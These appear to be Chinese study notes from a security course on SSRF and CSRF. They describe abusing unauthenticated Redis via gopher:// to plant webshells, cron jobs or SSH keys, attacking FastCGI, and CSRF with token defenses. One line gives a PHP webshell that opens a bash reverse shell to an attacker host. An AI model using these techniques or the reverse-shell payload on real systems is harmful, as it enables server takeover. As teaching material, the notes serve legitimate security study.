SSRF以及CSRF

ssrf

服务端请求伪造：由于服务端提供了从其他服务器应用获取数据的功能，但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求，并返回对该目标地址请求的数据

数据流：攻击者->服务器->目标地址

有关函数

file_get_contents()
fsockopen()
curl_exec()

redis 未授权访问

dict可以探测内网的端口

探测服务 fastcgi -->实现RCE redis（no sql内存中储存）-->未授权访问

若不设置访问密码，和安全模式关闭的情况下

可以1写入webshell (知道物理路径) 2 写入任务计划书 反弹shell 3写入（ssh）公钥 直接登陆服务器

file 读取内网的文件

gopher（危害最大） 发送get post 请求 配合redis 实现三块内容

开源工具

内存数据落盘

任务计划 在centos 没问题 在Ubuntu下会失败

当手工探测无效时，用burpsuite探测

当探测0.3这台服务器没有结果时，还可以探测其它服务器，如0.1，0.2。继续用burp探测 开放了6379 也没有禁用gop. 因为file被禁用，所以只能猜网站根路径（默认为/var/www/html）。用工具

但是发现没有写入，可能路径不对（需要坚定自己猜的对）或权限不够，在html下的uplaod有权限写。但是不一定是uplaod，有可能是uploads，需要用字典探测，这里我们自己写

写入需要二次编码才可以

但是写入之后，没有执行文件。上帝视角

写入有问题重新写

如果在真实的项目中，要反弹shell. 然后有服务器权限，但是在docker环境下。需要用docker逃逸。shell 需要，在本地监听，nv -lvnp

需要用反弹shell的命令

<?php system(\"bash -c 'exec bash -i >& /dev/tcp/ip/端口 0>&1'\");?>

攻击fastcgi

需要猜端口

根据前端返回页面 发现是nginx 肯定有的php-fpm 用的9000端口

渗透思路

收集资产信息（天眼查企查查fofa）(oneforall)

子域名挖掘机

csrf

客户端请求伪造 攻击者精心构造的链接 诱导用户去点，然后把用户的密码改了。

原理：没有对客户端发送过来的值进行合法性校验， 导致攻击者构造一个恶意的form表单，然后将链接发给用户，用户进行操作，改掉密码

用token防御，是因为在第一次登录的时候服务器生成了token值，返回给客户端，下次客户端登陆的时候携带token去登录，服务器会检测toekn合法性。攻击者是不会知道token值的，所以登录不上